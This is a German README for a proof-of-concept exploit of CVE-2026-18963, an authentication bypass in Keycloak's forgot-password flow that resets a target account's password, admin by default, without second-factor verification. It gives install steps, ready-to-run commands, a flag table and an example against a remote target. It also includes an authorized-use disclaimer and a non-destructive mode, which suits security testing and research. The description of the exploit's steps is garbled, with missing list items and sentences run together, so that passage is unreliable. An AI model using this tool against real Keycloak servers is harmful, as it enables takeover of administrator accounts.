
Proof-of-Concept-Exploit für CVE-2026-18963, eine Authentifizierungsumgehung im Passwort-vergessen-Ablauf von Keycloak, die ein Zurücksetzen des Passworts ohne ordnungsgemäße Verifizierung ermöglicht. Enthält einen nicht-destruktiven Beweismodus.
Proof of Concept für CVE-2026-18963, eine Schwachstelle im „Passwort vergessen“-/
Anmeldedaten-Auswahl-Ablauf von Keycloak, die es einem Angreifer ermöglicht, den Schritt
UPDATE_PASSWORD zu erreichen – und das Passwort eines Zielkontos zurückzusetzen –, ohne
die erforderliche Identitätsprüfung ordnungsgemäß abzuschließen (z. B. ohne ein gültiges
OTP/zweiten Faktor).
Das Skript steuert den Ablauf rein über HTTP (kein Browser/Selenium erforderlich):
tryAnotherWay.startSessionPolling()-Neustart-URL, die von
der Keycloak-Benutzeroberfläche verwendet wird, um die Authentifizierungssitzung am Leben zu halten.UPDATE_PASSWORD zu bringen.Dieses Tool wird ausschließlich für autorisierte Sicherheitstests und Forschung bereitgestellt (Penetrationstests, die du im Auftrag durchführst, CTFs, eigene Laborumgebungen oder koordinierte Offenlegung von Sicherheitslücken). Der Einsatz gegen Systeme, die dir nicht gehören oder für die du keine ausdrückliche schriftliche Genehmigung zum Testen besitzt, ist illegal. Autor und Mitwirkende übernehmen keine Haftung für Missbrauch oder Schäden, die durch dieses Tool verursacht werden.
Verwende --stop-at-update-password, um einen nicht-destruktiven Nachweis zu erzeugen (Erreichen
von UPDATE_PASSWORD, ohne ein neues Passwort zu übermitteln), wann immer dies
ausreicht, um das Problem zu demonstrieren.
requestsbeautifulsoup4git clone <this-repo-url>
cd POC
python -m venv .venv
source .venv/bin/activate # on Windows: .venv\Scripts\activate
pip install -r requirements.txt
python poc_cve_2026_18963_terminal.py \
--base-url http://localhost:8080 \
--realm master \
--client-id account \
--username admin \
--new-password "NewPassword123!"
| Flag | Standard | Beschreibung |
|---|---|---|
--base-url | http://localhost:8080 | Basis-URL der Ziel-Keycloak-Instanz |
--realm | master | Ziel-Realm |
--client-id | account | OIDC-Client-ID, die zum Starten des Login-Ablaufs verwendet wird |
--username | admin | Ziel-Benutzername |
--new-password | (erforderlich) | Passwort, das für das Zielkonto festgelegt werden soll |
--stop-at-update-password | aus | Anhalten, sobald UPDATE_PASSWORD erreicht ist, ohne ein neues Passwort zu übermitteln (Proof ohne Schadwirkung) |
--timeout | 10.0 | HTTP-Anfrage-Timeout in Sekunden |
--output-dir | debug_http | Verzeichnis, in dem jede HTML-Zwischenantwort zu Debugging-Zwecken gespeichert wird |
--insecure | aus | TLS-Zertifikatsprüfung deaktivieren |
python poc_cve_2026_18963_terminal.py \
--base-url https://target.example.com \
--realm myrealm \
--username victim \
--new-password unused \
--stop-at-update-password
Jede HTTP-Zwischenantwort wird in --output-dir (standardmäßig
debug_http) als 01_login.html, 02_reset.html, ... zur Offline-Prüfung gespeichert. Das
Skript beendet sich bei Erfolg mit 0 und bei Fehlern mit 1 und gibt Fortschritts- und
Diagnosemeldungen auf stdout aus.
Aurélien LOIE